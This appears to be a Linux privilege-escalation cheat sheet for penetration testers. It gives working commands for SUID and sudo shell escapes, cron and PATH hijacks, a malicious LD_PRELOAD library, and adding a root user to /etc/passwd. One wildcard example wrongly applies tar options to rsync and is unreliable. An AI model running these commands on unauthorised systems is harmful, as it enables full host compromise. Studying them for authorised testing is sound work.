π§Linux Privilege Escalation
Privilege Escalation refers to the process of exploiting misconfigurations, known vulnerabilities and unintended bugs in order to gain higher privileges on the target host. The final objective of this process is to gain the highest level of privileges on a target machine, achieving full compromise of that target.
External Resources
Linux Privilege Escalation:
GTFOBins - Unix binaries that can be exploited
Techniques Covered
Enumeration - System reconnaissance to identify potential attack vectors
Programs, Jobs and Services - Exploiting misconfigured services, cron jobs, and SUID binaries
Environment Variables Abuse - PATH variable, LD_PRELOAD and other issues
Persistence - Maintaining access after gaining elevated privileges
Table of Contents
Enumeration Scripts
Before trying specific techniques, it's advisable to run automated enumeration scripts to identify potential privilege escalation vectors:
LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.shLinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.shLSE (Linux Smart Enumeration)
curl -L https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh -o lse.sh
chmod +x lse.sh
./lse.shpspy (Process Spy)
# 64-bit
curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -o pspy64
chmod +x pspy64
./pspy64
# 32-bit
curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32 -o pspy32
chmod +x pspy32
./pspy32Kernel Exploits
Identifying and exploiting kernel vulnerabilities:
Check kernel version:
uname -a
cat /proc/versionSearch for known exploits:
searchsploit linux kernel [version]Common kernel exploits:
Dirty COW (CVE-2016-5195)
overlayfs (CVE-2021-3493)
PTRACE_TRACEME (CVE-2019-13272)
Example: Exploiting Dirty COW
# Check if vulnerable
grep -q "Ubuntu 16.04" /etc/issue && echo "System might be vulnerable to Dirty COW"
# Download and compile exploit
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123SUID/SGID Binaries
SUID (Set User ID) and SGID (Set Group ID) binaries run with the privileges of the file owner/group:
Find SUID/SGID binaries:
# Find SUID binaries
find / -type f -perm -4000 -ls 2>/dev/null
# Find SGID binaries
find / -type f -perm -2000 -ls 2>/dev/nullInvestigate each binary using GTFOBins (https://gtfobins.github.io/) to identify potential privilege escalation vectors.
Example exploits:
Using find for privilege escalation:
find . -exec /bin/sh -p \; -quitUsing nano for privilege escalation:
nano
^R^X
reset; sh 1>&0 2>&0Using cp to overwrite sensitive files:
cp /tmp/malicious_passwd /etc/passwdSudo Rights
Check what commands you can run with sudo:
sudo -lCommon sudo privilege escalation vectors:
Running commands with sudo:
# If you can run any command as sudo
sudo -i
# If you can run vim as sudo
sudo vim -c '!sh'
# If you can run find as sudo
sudo find . -exec /bin/sh \; -quit
# If you can run python as sudo
sudo python -c 'import os; os.system("/bin/sh")'Environment variables preservation with sudo (
env_keep):
# If LD_PRELOAD is kept
sudo LD_PRELOAD=/path/to/malicious.so programWildcard exploitation:
# If you can run something like: sudo /usr/bin/rsync *.conf /backup/
echo 'command' > exploit.conf
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
sudo /usr/bin/rsync *.conf /backup/Cron Jobs
Identifying and exploiting vulnerable cron jobs:
Find cron jobs:
crontab -l
ls -la /etc/cron*
cat /etc/crontabLook for writable scripts executed by cron:
find /etc/cron* -type f -writableMonitor running processes to identify cron jobs:
./pspy64Example exploitation:
# If you find a writable script run by root cron job
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
# Wait for cron to execute
/bin/bash -pPath Variable Manipulation
If the system uses a relative path to execute commands and the PATH variable can be manipulated:
Check the current PATH:
echo $PATHCreate a malicious binary with the same name:
cd /tmp
echo '#!/bin/bash' > service
echo 'chmod +s /bin/bash' >> service
chmod +x serviceModify the PATH to include your directory:
export PATH=/tmp:$PATHWait for the vulnerable script to be executed, or execute it if you have permission.
NFS Shares
Exploiting misconfigured NFS shares:
Check for NFS shares:
# On the target
cat /etc/exports
showmount -e localhost
# From an attacker machine
showmount -e target_ipLook for shares with
no_root_squashorno_all_squashoptions.Mount the share and exploit:
# On the attacker machine
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
echo 'int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }' > privesc.c
gcc privesc.c -o privesc
chmod +s privesc
# On the target
/shared/folder/privescWeak File Permissions
Check for writable sensitive files:
System configuration files:
find /etc -writable -type f 2>/dev/null/etc/passwd writable (rare but worth checking):
ls -la /etc/passwd
# If writable, add a new root user
echo 'malicious:x:0:0::/root:/bin/bash' >> /etc/passwd
echo 'malicious::0:0::/root:/bin/bash' >> /etc/passwd
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
# Generate password hash
openssl passwd -1 -salt xyz password123Service configuration files:
find /etc/service/ -writable 2>/dev/nullService Exploits
Exploit misconfigured services:
Check for running services:
ps aux
netstat -tulnLook for services running as root with writable configuration or binary files:
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/nullCheck for writable service binaries:
for SRV in $(systemctl list-unit-files --type=service | grep enabled | awk '{print $1}'); do
EXEC=$(systemctl show -p ExecStart $SRV | cut -d '=' -f 2)
ls -la $EXEC 2>/dev/null | grep -v ' root root '
doneDocker Group
If the user is part of the docker group:
id
# Check if user is in docker group
# Mount root filesystem and gain root
docker run -it --rm -v /:/mnt alpine chroot /mnt shCapabilities
Check for binaries with dangerous capabilities:
getcap -r / 2>/dev/nullExample exploitation of capabilities:
# If python has cap_setuid capability
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'LD_PRELOAD and LD_LIBRARY_PATH
If you can control LD_PRELOAD or LD_LIBRARY_PATH when running a SUID binary:
Create a malicious shared library:
cat << EOF > /tmp/evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
exit(0);
}
EOF
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfilesUse LD_PRELOAD to load the malicious library:
sudo LD_PRELOAD=/tmp/evil.so programAlternatively, use LD_LIBRARY_PATH to point to a directory with malicious libraries:
LD_LIBRARY_PATH=/tmp programResources
Last updated